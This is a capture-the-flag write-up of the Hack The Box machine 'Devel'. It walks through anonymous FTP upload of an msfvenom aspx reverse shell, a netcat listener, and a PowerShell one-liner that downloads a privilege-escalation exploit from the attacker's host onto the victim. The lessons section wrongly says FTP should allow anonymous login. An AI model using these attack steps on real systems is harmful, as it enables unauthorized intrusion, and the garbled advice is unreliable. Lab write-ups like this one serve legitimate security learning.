This is my attempt to solve HTB’s DEVEL

 

 

NMAP:

 

 

Website:

 

 

Not much of the website

 

FTP:

 

Port 21 is open and “Anonymous FTP login is allowed”:

 

Looking closer by logging in:

 

Ftp 10.10.10.5

 

 

I’m able to see items inside:

 

 

I learned that I can upload a web shell or reverse shell which help me get access into the site

 

Reverse Shell:

 

We can use msfvenom to create our custom payload for the exploit. For a clear understanding make sure to understand the various reverse shells available and to choose the right one. For example, select windows/meterpreter/reverse_tcp only if you use the Metasploit. Make sure to understand the difference between staged and unstaged payloads. In our case we use the non-meterpreter unstaged reverse shell payload windows/shell_reverse_tcp to generate the aspx payload. With this, I have the option to get a shell with a basic netcat listener. The staged version will not work with the netcat listener.

 

 

The listening host is the attacking machine (ip address |grep tun) and the port is the one we will listen on. I have created the backdoor executable binary. Upload this file as mentioned above to the FTP root directory.

 

 

Now go to the website: http://10.10.10.5/devel.aspx and have netcat setup and ready

 

And I have low privilege:

 

Privilege Escalation:

As soon as we visit the malicious URL 10.10.10.5/test.aspx the exploitation process starts. In the listener we can see, that we have a shell running as iis apppool\web.

 

 

The next goal is to escalate my privileges. Windows Exploit Suggester is a tool which checks if public exploits are available for a specific machine. For this, I saved the output of systeminfo to a text file.

 

 

Key information : Windows 7 | Host name Devel | OS name Windows 7 Enterprise | 6.1.7600 | Hotfix N/A

 

Windows Priviliege escalation is my weakest area

 

I went to Google and found this exploit:

 

 

The next step is to download and compile the exploit on the attack machine.

 

 

I then needed to transfer the C code from the attacker to the victim.

 

python -m SimpleHTTPServer 8080

 

wget and curl are not installed on the machine however powershell is.

 

powershell -c “(new-object System.Net.WebClient).DownloadFile(‘http://10.10.14.63:8080/40564.exe’, ‘c:\Users\Public\Downloads\40564.exe’)”

 

I then ran [whoami /all]:

 

 

User flag:

 

 

Root flag:

 

 

That’s it

 

Lessons Learned:

FTP Should have an open login like anonymous.

 

Anyone like I just did can upload a Web shell and exploit the system.

 

 

I recommend either patching Windows 7 Enterprise or upgrading to the modern version of Windows and service for Windows 7 is now depricated.

 

Overall this box was challenging, I cold have done it with Metasploit, but I’m trying to get better without using Metasploit.